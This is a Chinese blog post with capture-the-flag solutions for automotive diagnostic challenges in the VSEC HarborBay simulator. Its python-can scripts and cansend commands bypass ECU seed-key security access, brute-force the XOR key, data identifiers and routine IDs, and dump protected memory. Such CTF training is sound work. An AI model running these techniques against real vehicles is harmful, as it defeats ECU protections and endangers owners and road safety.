ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff68747470733a2f2f6769746875622e636f6d2f69436f6c6c696e0000
========== READMEM ==========

f666c61677b6d656d2b723334647d-->>flag{mem+r34d}

Security Access Level 3

The simulation is implementing service 0x27 Security Access Level 3 using MAAATH. Can you find the key and break in?
模拟正在使用 MAAATH 实现服务 0x27 安全访问级别 3。您能找到密钥并闯入吗?

The flag is the key to unlock with seed 1337 in hex (example a5a5)
标志是使用十六进制种子 1337 解锁的密钥(例如 a5a5)

不用进terminal操作,将0x1337按位取反即可,得到 0xecc8

Security Access Level 1

Level 3 provides access to a new diagnostic session and some new memory at 0x1A000, but we still don't have full control of the module. Can you provide a valid key for security access level 1?
级别 3 允许访问新的诊断会话和位于 0x1A000 的一些新内存,但我们仍然无法完全控制该模块。您能否提供安全访问级别 1 的有效密钥?

The flag is the key to unlock with seed 7D0E1A5C in hex (example 12345678)
该标志是使用十六进制种子 7D0E1A5C(例如 12345678)解锁的密钥

cansend vcan0 7e0#0210030000000000 通过0x10服务,进入0x03诊断会话
cansend vcan0 7e0#0227030000000000 对安全等级为3进行0x27安全访问
cansend vcan0 7e0#0427047088000000 通过返回的种子算出key值,发送进行解锁
cansend vcan0 7e0#0227010000000000 对安全等级为1进行0x27安全访问
通过0x10服务,进入0x03诊断会话,然后使用0x27服务对安全等级1进行安全访问,最后通过返回的种子算出key值,发送进行解锁

unlock.py

import can
import time
import binascii

# 初始化CAN总线
bus = can.Bus(interface='socketcan', channel='vcan0')

# 进入扩展诊断会话
print("Entering diagnostic session...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
print(f"Diagnostic session response: {binascii.hexlify(msg.data).decode('utf-8')}")

# 安全访问安全等级为3的会话
print("Accessing security level 3...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
seed = binascii.hexlify(msg.data).decode('utf-8')[6:10]
print(f"Seed received: {seed}")

# 计算 key
key = f"{~int(seed, 16) & 0xFFFF:04X}"
; 解释:
; int(seed, 16):
; 将 seed 从十六进制字符串转换为整数类型。
; ~int(seed, 16):
; 对整数取按位反(补码运算)。
; & 0xFFFF:
; 仅保留结果的低16位,避免超出Key的范围。
; :04X:
; 将结果格式化为4位十六进制字符串(大写)。
print(f"Calculated key: {key}")

# 解锁
print("Unlocking access...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x04, 0x27, 0x04, int(key[0:2], 16), int(key[2:4], 16), 0x00, 0x00, 0x00])
#0x04:子功能,表示发送Key。
bus.send(message, timeout=0.2)
msg = bus.recv()
print(f"Unlock response: {binascii.hexlify(msg.data).decode('utf-8')}")

# 关闭CAN总线
bus.shutdown()

ex.py

import can
import time
import binascii

# 初始化CAN总线
bus = can.Bus(interface='socketcan', channel='vcan0')

# 进入编程诊断会话,03扩展会话不支持23服务的请求
print("Entering diagnostic session...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()

# 安全访问安全等级为1的会话
print("Accessing security level 1...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
seed = binascii.hexlify(msg.data).decode('utf-8')[6:10]


# 计算 key
key = f"{~int(seed, 16) & 0xFFFF:04X}"

# 解锁
print("Unlocking access...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x04, 0x27, 0x04, int(key[0:2], 16), int(key[2:4], 16), 0x00, 0x00, 0x00])
#0x04:子功能,表示发送Key。
bus.send(message, timeout=0.2)
msg = bus.recv()
print(f"Unlock response: {binascii.hexlify(msg.data).decode('utf-8')}")

recvdata = "[DATA]:"
for hex_value in range(0x1a000, 0x1b000, 0xFF):
    
    # 将地址分解为 4 个字节
    byte1 = (hex_value >> 24) & 0xFF  # 高位字节
    byte2 = (hex_value >> 16) & 0xFF
    byte3 = (hex_value >> 8) & 0xFF
    byte4 = hex_value & 0xFF  

    candata = [0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
    message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=candata)
    bus.send(message, timeout=0.2)
    msg = bus.recv()

    recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]#回复帧6位也就是3字节后才是有效数据

    # 发送流控制框(Flow Control Frame),指示 ECU 可以继续发送数据
    message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
    bus.send(message, timeout=0.2)

    # 继续接收 ECU 的响应,最多 36 条消息,36*7+4=256=0xff
    temp = 0
    while temp < 36:
        msg = bus.recv()
        tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
        if tempdata != "00000000000000":
            recvdata += tempdata  # 累积有效数据
        temp += 1


print("\n========== READMEM ==========")
print(recvdata)
print("========== READMEM ==========")

bus.shutdown()
========== READMEM ==========
[DATA]:4248534d2028736563757265206d656d6f7279290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001587ae9b0000000040be048c00000000000000000000000000000000000000000000
========== READMEM ==========

========== READMEM ==========
[DATA]:4248534d2028736563757265206d656d6f727929000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a14d798900000000f474d39e00000000000000000000000000000000000000000000
========== READMEM ==========

========== READMEM ==========
[DATA]:4248534d2028736563757265206d656d6f7279290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006f5b6a4f000000003a62c05800000000000000000000000000000000000000000000
========== READMEM ==========

在后面会记录请求的种子,跟在种子后面还有一串值,长度和种子一样的

找规律,发现两个异或结果始终为:0x5539aa17,因此猜测该算法是使用种子异或 0x5539aa17

Read Data By Identifier

This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
这项挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

Can you identify the data?
您能识别数据吗?

爆破DID

import can
import time
import binascii

bus =  can.Bus(interface='socketcan', channel='vcan0')

for i in range(0,0xFF):
    for j in range(0,0xFF):
        message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x03, 0x22, i, j, 0x00, 0x00, 0x00, 0x00])
        bus.send(message, timeout=0.2)
        msg = bus.recv()

bus.shutdown()

当DID发到 0008 的时候就正常读取到了信息

cansend vcan0 7E0#03220008 && cansend vcan0 7E0#3000000000000000

得到flag为bh{identified_by_what???}

Routine Control

This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
这项挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

I hear routine control has a lot of fun features.
我听说常规控制有很多有趣的功能。

使用 Routine Control 服务来执行已定义的步骤序列并获取任何相关结果,服务 ID 是 0x31

子功能也比较简单,开始(01)、停止(02)、获取结果(03)

那先试试开始执行吧,简单试了试都是否定响应,估计也得爆破

import can
import time
import binascii

bus =  can.Bus(interface='socketcan', channel='vcan0')

for i in range(0,0xFF):
    for j in range(0,0xFF):
        message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x04, 0x31, 0x01, i, j, 0x00, 0x00, 0x00])
        bus.send(message, timeout=0.2)
        msg = bus.recv()
        result = binascii.hexlify(msg.data).decode('utf-8')
        if result == "037f3131":
            pass
        else:
            print("i: ",hex(i),"   j: ",hex(j))

bus.shutdown()

跑了一段时间发现 1337 是响应的,因此先执行 1337 然后再获取结果

cansend vcan0 7E0#0431011337000000 && cansend vcan0 7E0#0431031337000000 && cansend vcan0 7E0#3000000000000000

得到flag为bh{c0ntroll1ng_th3_r0ut1nes}

Security Access Level 1

This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

I hear single byte XOR keys are a great security measure, can you prove me wrong?
我听说单字节 XOR 密钥是一种很好的安全措施,你能证明我错了吗?

进行安全访问时,会先返回一个随机数,key应该就是对这个随机数的每一个字节进行一个异或,异或的值直接爆破

key.py

import can
import time
import binascii

bus =  can.Bus(interface='socketcan', channel='vcan0')

for key in range(0,0xFF):
    message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
    bus.send(message, timeout=0.2)
    msg = bus.recv()    

    result = binascii.hexlify(msg.data).decode('utf-8')
    seed = result[6:14]

    key1 = int(seed[:2],16) ^ key
    key2 = int(seed[2:4],16) ^ key
    key3 = int(seed[4:6],16) ^ key
    key4 = int(seed[6:8],16) ^ key
    
    message=can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
    bus.send(message, timeout=0.2)
    msg = bus.recv()
    result = binascii.hexlify(msg.data).decode('utf-8')
    if result == "037f2735":
        pass
    else:
        print("key is ",hex(key))

bus.shutdown()

最后得到key为0x20

写脚本访问成功后,发送流控制帧获取flag

import can
import time
import binascii

bus =  can.Bus(interface='socketcan', channel='vcan0')

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()

result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
key=0x20
key1 = int(seed[:2],16) ^ key
key2 = int(seed[2:4],16) ^ key
key3 = int(seed[4:6],16) ^ key
key4 = int(seed[6:8],16) ^ key
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()

message=can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message,timeout=0.2)
msg=bus.recv()
bus.shutdown()

得到flag为 bh{whats_wrong_with_static_keys?}

linux can命令

ifconfig 查看CAN设备状态
ip link 管理和查看网络接口ip link 命令总结-CSDN博客
candump +can接口名称 接收CAN发出的数据
candump -l vcan0 得到一个日志文件
&& 和一起
cansend +接口名 +命令 发送请求
posted @ 2025-05-10 14:31  Ma&0xFly  阅读(692)  评论(0)    收藏  举报